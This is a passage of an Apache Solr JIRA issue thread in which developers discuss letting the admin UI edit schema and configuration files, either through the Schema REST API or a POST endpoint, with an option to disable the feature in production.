          Hmmm, that would be an interesting way to pretty thoroughly make the REST API robust. Also, there wouldn't be any special code on the server, anything that had to e done to the server would be done in enhancing the REST API.

          I had in mind a really quick hack here, but it really seems like the right thing to do is do it the right way. Siiiggggh.

          Steve Rowe Grant Ingersoll What do you think? I took a quick look at the copyfield patch and it doesn't look like a huge effort to build on what's been done before for each new bit we want to support, or am I dreaming?

          Stefan Matheis (steffkes) This makes the UI part a bit different, instead of POSTing, you'd use one of the (perhaps new) REST API calls. Any comments one way or the other?

          Show
          Erick Erickson added a comment - Jan Høydahl Hmmm, I hadn't thought much about that. I know the REST API isn't complete yet, I think I saw a JIRA float by that you couldn't, for instance, update a field. Hmmm, that would be an interesting way to pretty thoroughly make the REST API robust. Also, there wouldn't be any special code on the server, anything that had to e done to the server would be done in enhancing the REST API. I had in mind a really quick hack here, but it really seems like the right thing to do is do it the right way. Siiiggggh. Steve Rowe Grant Ingersoll What do you think? I took a quick look at the copyfield patch and it doesn't look like a huge effort to build on what's been done before for each new bit we want to support, or am I dreaming? Stefan Matheis (steffkes) This makes the UI part a bit different, instead of POSTing, you'd use one of the (perhaps new) REST API calls. Any comments one way or the other?
          Hide
          Jan Høydahl added a comment -

          Bear in mind that hand-editing these on a production server may be undesirable in many companies, because they want to enforce strict versioning of configs and controlled official mechanisms for rolling out changes. Thus whatever we end up with, it should be possible to enable/disable this feature.

          Further, I'd prefer that such GUI options (if enabled) work on top of Schema REST API and the planned Config API. This way the GUI can be made more intelligent than simply a big <textarea>, but evolve into a very intutitive "Schema IDE" which makes it far easier to relate to things. Available analyzers, tokenizers, tokenfilters could be fetched from SPI and be drag&dropp'ed into a fieldType etc. Telling people to start using managed schema to gain access to such a feature may not be a bad thing at all, if that's the way we're taking the product in 5.x anyway.

          Show
          Jan Høydahl added a comment - Bear in mind that hand-editing these on a production server may be undesirable in many companies, because they want to enforce strict versioning of configs and controlled official mechanisms for rolling out changes. Thus whatever we end up with, it should be possible to enable/disable this feature. Further, I'd prefer that such GUI options (if enabled) work on top of Schema REST API and the planned Config API. This way the GUI can be made more intelligent than simply a big <textarea> , but evolve into a very intutitive "Schema IDE" which makes it far easier to relate to things. Available analyzers, tokenizers, tokenfilters could be fetched from SPI and be drag&dropp'ed into a fieldType etc. Telling people to start using managed schema to gain access to such a feature may not be a bad thing at all, if that's the way we're taking the product in 5.x anyway.
          Hide
          Stefan Matheis (steffkes) added a comment -

          Actually that should be pretty simple? A possibility to POST a File (or the content as string .. whatever is easier) to the endpoint on the server, which stores the file on disk or in ZK. Perhaps with an Option to perform an Core-Reload to get the new schema/configuration activated?

          Then we can think about (more or less) fancy stuff in the UI .. something like a typical html <textarea> w/o syntax highlighting and such .. up to a fancy wizard where you can select (predefined) parts of a schema/configuration and enable them by click :o

          Show
          Stefan Matheis (steffkes) added a comment - Actually that should be pretty simple? A possibility to POST a File (or the content as string .. whatever is easier) to the endpoint on the server, which stores the file on disk or in ZK. Perhaps with an Option to perform an Core-Reload to get the new schema/configuration activated? Then we can think about (more or less) fancy stuff in the UI .. something like a typical html <textarea> w/o syntax highlighting and such .. up to a fancy wizard where you can select (predefined) parts of a schema/configuration and enable them by click :o
          Hide
          Erick Erickson added a comment -

          Stefan Matheis (steffkes) Nobody is saying this is a horrible idea, what's your vision for the endpoint needed to accomplish this?

          Show
          Erick Erickson added a comment - Stefan Matheis (steffkes) Nobody is saying this is a horrible idea, what's your vision for the endpoint needed to accomplish this?

            People

            • Assignee:
              Erick Erickson
              Reporter:
              Erick Erickson
            • Votes:
              0 Vote for this issue
              Watchers:
              12 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved:

                Development